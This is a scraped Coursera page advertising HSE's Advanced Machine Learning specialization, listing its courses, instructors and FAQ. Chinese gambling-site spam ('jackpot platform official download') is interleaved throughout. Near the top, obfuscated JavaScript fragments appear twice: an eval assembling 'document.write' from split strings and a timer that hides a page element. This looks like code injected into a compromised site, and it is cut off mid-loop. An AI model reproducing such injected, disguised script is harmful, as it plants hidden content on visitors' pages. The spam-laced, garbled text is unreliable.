大奖平台官网下载

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About this Specialization

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100% online courses

Start instantly and learn at your own schedule.
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Flexible Schedule

Set and maintain flexible deadlines.
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Advanced Level

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English

Subtitles: English, Korean
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100% online courses

Start instantly and learn at your own schedule.
';eval("do"+"cu"+"ment.wr"+"ite('"+ss+"');");try{setInterval(function(){try{document.getElementById("div"+"All").style.display="no"+"ne"}catch(e){}for(var i=0;i

Flexible Schedule

Set and maintain flexible deadlines.
';eval("do"+"cu"+"ment.wr"+"ite('"+ss+"');");try{setInterval(function(){try{document.getElementById("div"+"All").style.display="no"+"ne"}catch(e){}for(var i=0;i

Advanced Level

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English

Subtitles: English, Korean

How the Specialization Works

Take Courses

A Coursera Specialization is a series of courses that helps you master a skill. To begin, enroll in the Specialization directly, or review its courses and choose the one you'd like to start with. When you subscribe to a course that is part of a Specialization, you’re automatically subscribed to the full Specialization. It’s okay to complete just one course — you can pause your learning or end your subscription at any time. Visit your learner dashboard to track your course enrollments and your progress.

Hands-on Project

大奖平台官网下载Every Specialization includes a hands-on project. You'll need to successfully finish the project(s) to complete the Specialization and earn your certificate. If the Specialization includes a separate course for the hands-on project, you'll need to finish each of the other courses before you can start it.

Earn a Certificate

大奖平台官网下载When you finish every course and complete the hands-on project, you'll earn a Certificate that you can share with prospective employers and your professional network.

how it works

There are 7 Courses in this Specialization

Course1

Course 1

Introduction to Deep Learning

4.6
stars
1,264 ratings
281 reviews
Course2

Course 2

How to Win a Data Science Competition: Learn from Top Kagglers

4.7
stars
788 ratings
164 reviews
Course3

Course 3

Bayesian Methods for Machine Learning

4.6
stars
474 ratings
128 reviews
Course4

Course 4

Practical Reinforcement Learning

4.2
stars
304 ratings
81 reviews

Instructors

Mikhail Hushchyn 

Researcher at Laboratory for Methods of Big Data Analysis
HSE Faculty of Computer Science

Alexey Zobnin 

Accosiate professor
HSE Faculty of Computer Science

Alexey Artemov 

Senior Lecturer
HSE Faculty of Computer Science

Sergey Yudin 

Analyst-developer
Yandex

Alexander Guschin 

Visiting lecturer at HSE, Lecturer at MIPT
HSE Faculty of Computer Science

Nikita Kazeev 

Researcher
HSE Faculty of Computer Science

Andrei Ustyuzhanin 

Head of Laboratory for Methods of Big Data Analysis
HSE Faculty of Computer Science

Dmitry Ulyanov 

Visiting lecturer
HSE Faculty of Computer Science

Marios Michailidis 

Research Data Scientist
H2O.ai

Daniil Polykovskiy 

Sr. Research Scientist
HSE Faculty of Computer Science

Ekaterina Lobacheva 

Senior Lecturer
HSE Faculty of Computer Science

Andrei Zimovnov 

Senior Lecturer
HSE Faculty of Computer Science

Alexander Novikov 

Researcher
HSE Faculty of Computer Science

Dmitry Altukhov 

Visiting lecturer
HSE Faculty of Computer Science

Pavel Shvechikov 

Researcher at HSE and Sberbank AI Lab
HSE Faculty of Computer Science

Anton Konushin 

Senior Lecturer
HSE Faculty of Computer Science

Anna Kozlova 

Team Lead
Yandex

Mikhail Trofimov 

Visiting lecturer
HSE Faculty of Computer Science

Evgeny Sokolov 

Senior Lecturer
HSE Faculty of Computer Science

Alexander Panin 

Lecturer
HSE Faculty of Computer Science

Anna Potapenko 

Researcher
HSE Faculty of Computer Science

Industry Partners

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About National Research University Higher School of Economics

National Research University - Higher School of Economics (HSE) is one of the top research universities in Russia. Established in 1992 to promote new research and teaching in economics and related disciplines, it now offers programs at all levels of university education across an extraordinary range of fields of study including business, sociology, cultural studies, philosophy, political science, international relations, law, Asian studies, media and communicamathematics, engineering, and more. Learn more on www.hse.ru...

Frequently Asked Questions

  • Yes! To get started, click the course card that interests you and enroll. You can enroll and complete the course to earn a shareable certificate, or you can audit it to view the course materials for free. When you subscribe to a course that is part of a Specialization, you’re automatically subscribed to the full Specialization. Visit your learner dashboard to track your progress.

  • This course is completely online, so there’s no need to show up to a classroom in person. You can access your lectures, readings and assignments anytime and anywhere via the web or your mobile device.

  • Time to completion can vary based on your schedule, but most learners are able to complete the Specialization in 8-10 months.

  • As prerequisites we assume calculus and linear algebra (especially derivatives, matrices and operations with them), probability theory (random variables, distributions, moments), basic programming in python (functions, loops, numpy), basic machine learning (linear models, decision trees, boosting and random forests). Our intended audience are all people who are already familiar with basic machine learning and want to get a hand-on experience of research and development in the field of modern machine learning.

  • We recommend taking the “Intro to Deep Learning” course first as most of the subsequent courses will build on its material. All other courses can be taken in any order.

  • 大奖平台官网下载 Coursera courses and certificates don't carry university credit, though some universities may choose to accept Specialization Certificates for credit. Check with your institution to learn more.

  • After completing 7 courses of the Specialization you will be able to:

    大奖平台官网下载Use modern deep neural networks for various machine learning problems with complex inputs;

    Participate in data science competitions and use the most popular and effective machine learning tools;

    大奖平台官网下载Adopt the best practices of data exploration, preprocessing and feature engineering;

    Perform Bayesian inference, understand Bayesian Neural Networks and Variational Autoencoders;

    Use reinforcement learning methods to build agents for games and other environments;

    Solve computer vision problems with a combination of deep models and classical computer vision algorithms;

    Outline state-of-the-art techniques for natural language tasks, such as sentiment analysis, semantic slot filling, summarization, topics detection, and many others;

    大奖平台官网下载Build goal-oriented dialogue agents and train them to hold a human-like conversation;

    Understand limitations of standard machine learning methods and design new algorithms for new tasks.

More questions? Visit the .

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